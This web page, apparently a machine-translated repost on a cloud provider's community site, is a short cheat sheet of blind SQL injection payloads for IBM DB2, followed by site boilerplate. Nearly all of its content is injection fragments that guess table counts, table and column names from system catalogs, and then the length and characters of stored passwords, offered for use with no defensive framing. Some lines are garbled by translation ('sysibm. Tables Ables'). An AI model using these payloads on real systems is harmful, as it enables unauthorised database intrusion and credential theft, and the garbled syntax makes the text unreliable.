Sort SQL Injection statements in DB2 Databases

Source: Internet
Author: User

The following are the injection of shaping data. Semi-fold method is used for guessing.

Guess the number of user tables:
And 0 <(SELECT count (NAME) from sysibm. Tables Ables where CREATOR = USER)

Guess the table length:
And 3 <(select length (NAME) from sysibm. Tables Ables where name not in ('columns ') fetch first 1 rows only)

ASCII code of the first character in the guess table:
And 3 <(select ascii (SUBSTR (NAME, 1, 1) from sysibm. Tables Ables where name not in ('columns ') fetch first 1 rows only)

Number of column names in the table:
And 1 <(select count (COLNAME) from syscat. columns where TABNAME = 'table ')

Guess the length of the first column name
And 1 <(select length (COLNAME) from syscat. columns where TABNAME = 'table' and colno = 0)

Guess the ASCII code of the first character of the first column name
And 1 <(select ascii (SUBSTR (COLNAME, 1, 1) from syscat. columns where TABNAME = 'table' and colno = 0)

Sort by ID in descending order and guess the length of the first PASSWD.
And 0 <(select length (PASSWD) from table order by id desc fetch first 1 rows only)

Sort the ID in descending order and guess the ASCII code of the first character of the first PASSWD.
And 0 <(select ascii (SUBSTR (PASSWD, 1, 1) from table order by id desc fetch first 1 rows only)

Guess the ASCII code of the first character of the second PASSWD
And 0 <(select ascii (SUBSTR (PASSWD, 1, 1) from table where PASSWD not in ('grou1') fetch first 1 rows only)
 

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.